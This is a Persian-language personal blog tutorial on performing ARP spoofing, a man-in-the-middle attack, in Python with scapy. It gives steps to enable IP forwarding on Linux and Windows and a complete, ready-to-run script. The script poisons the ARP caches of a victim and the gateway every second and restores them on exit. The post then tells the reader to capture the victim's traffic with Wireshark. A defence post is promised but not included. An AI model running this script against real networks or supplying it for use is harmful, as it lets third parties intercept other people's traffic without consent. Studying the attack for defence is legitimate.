وبلاگ فربد | Farbod Blog

توی این وبلاگ راجع به پروژه هام صحبت می کنم

ARP Spoofing در پایتون

  • ۹۰۶

سلام دوستان :)

توی این پست قراره با هم نحوه انجام ARP Spoofing رو ببینیم.

توی پست (ساخت ابزار اسکن شبکه در پایتون با scapy) با هم نحوه ساختن یک اسکنر شبکه رو دیدیم و همچنین با بسته های ARP آشنا شدیم. بسته های ARP نوعی بسته بودن که وقتی به یک IP مشخص ارسال میشدن اون هاست برای ما آدرس مک خودش رو ارسال می کرد.

ARP Spoofing یکی از رایج ترین شیوه های انجام حمله مرد میانی(MITM : Man In The Middle) هستش.

همونطوری که میدونید حمله مرد میانی به این صورته :

 

حالا ARP Spoofing چیه ؟

همینطور که میدونین هر دستگاه یک جدول mac داره که mac آدرس هر IP رو توی خودش ذخیره میکنه. حالا اگه ما بیایم به کلاینت A بگیم که من کلاینت B هستم و مک آدرس خودمون رو بهش بدیم و با کلاینت B هم همینکارو انجام بدیم اتفاقی که میفته اینه که جدول مک این کلاینت ها مسموم میشه و تمام اطلاعاتی که بینشون رد و بدل میشه رو ما میتونیم با ابزار هایی مثل wireshark شنود کنیم. به همین راحتی !

خب کار جالب تری که میتونیم بکنیم اینه که بیایم بین router و یکی از کلاینت ها همینکارو انجام بدیم، بعدش میتونیم تمام ترافیکش رو ببینیم!

 

برای انجام اینکار اول از همه باید ip forwarding روی سیستمتون فعال باشه.

اگر از لینوکس استفاده میکنین میتونین فایل زیر رو با دسترسی root باز کنید و مقدار 0 رو به 1 تغییر بدین.

/proc/sys/net/ipv4/ip_forward

برای ip forwarding در ویندوز هم برین توی regedit توی آدرس زیر:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

بعد مقدار داخل کلید IPEnableRouter به 1 تغییر بدین.

 

خب حالا میتونیم بریم سراغ سورس پایتون.

برای نوشتن این اسکریپت نیاز داریم که ماژول scapy رو روی سیستممون نصب کنیم.

برای نصب این ماژول توی ویندوز برین توی cmd و دستور زیر رو وارد کنین:

pip install scapy

برای نصب scapy توی لینوکس هم terminal رو باز کنید و دستور زیر رو بزنین:

sudo pip3 install scapy

برای کارکرد درست این ماژول توی ویندوز باید نرم افزار npcap رو نصب کنید و برای کارکرد درست این ماژول روی لینوکس هم باید با استفاده از دستور زیر tcpdump رو نصب کنید که البته بصورت پیشفرض روی اکثر توضیع های لینوکس نصب هست:

sudo apt-get install tcpdump

 

خب بعد از نصب ماژول و پیش نیاز های اون میتونیم بریم سراغ سورس.

 

سورس:

from scapy.all import Ether, ARP, srp, send
import argparse
import time

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src
        
def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="ARP spoof script")
    parser.add_argument("target", help="Victim IP Address to ARP poison")
    parser.add_argument("host", help="Host IP Address, the host you wish to intercept packets for (usually the gateway)")
    parser.add_argument("-v", "--verbose", action="store_true", help="verbosity, default is True (simple message each second)")
    args = parser.parse_args()
    target, host, verbose = args.target, args.host, args.verbose
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

اول از همه ماژول های مورد نیازمون رو import کردیم. بعد تابع get_mac رو تعریف کردیم که کارش اینه که یک ورودی ip از ما میگیره و یک بسته ARP میسازه و به سمت IP که ما میخوایم میفرسته و آدرس مک اون رو میگیره. بعدش تابع spoof رو تعریف کردیم که دو تا ورودی براش مشخص کردیم. یکی ورودی ip هدفمون و یکی ip هاستمون (ورودی سوم برای متن هایی هست که چاپ میکنه). توی خط اول تابع متغییر target_mac رو تعریف کردیم که با استفاده از تابع get_mac که قبلا تعریف کرده بودیم مک آدرس اون IP رو بدست آوردیم. بعدش یک بسته ARP از نوع response ایجاد کردیم که به سمت target مون ارسال میکنه. بعدش تابع restore رو تعریف کردیم که کاری که میکنه اینه که جدول مک دو تا هاست رو دوباره درست میکنه. بعدش گفتیم که یک سری argument برای برنامه مون ایجاد کنه. نکته ای که وجود داره اینکه که هر دستگاهی جدول مک خودش رو هر ده دقیقه update میکنه. بنابراین توی این حلقه بی نهایت میایم و هر یک ثانیه جدول مک سیستم هامون رو مسموم میکنیم.

 

خب حالا باید terminal یا cmd رو باز کنین و برین توی مسیر برنامه تون.

حالا باید با دستور زیر برنامه رو اجرا کنید:

python name.py target_ip host_ip

جای name.py باید اسم برنامه تون رو بزارین. جای target_ip باید ip کلاینت و جای host_ip باید ip هاست رو بزارین.

 

خب بعد از اجرای برنامه، نرم افزار wireshark رو نصب کنید و اجراش کنید.

حالا میتونین تمام بسته های ورودی و خروجی رو مشاهده کنید.

 

پست بعدی که درباره مقابله با این نوع حمله خطرناک هست رو از دست ندید :)

امیدوارم براتون مفید بوده باشه D:


نظرات: (۰) هیچ نظری هنوز ثبت نشده است
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی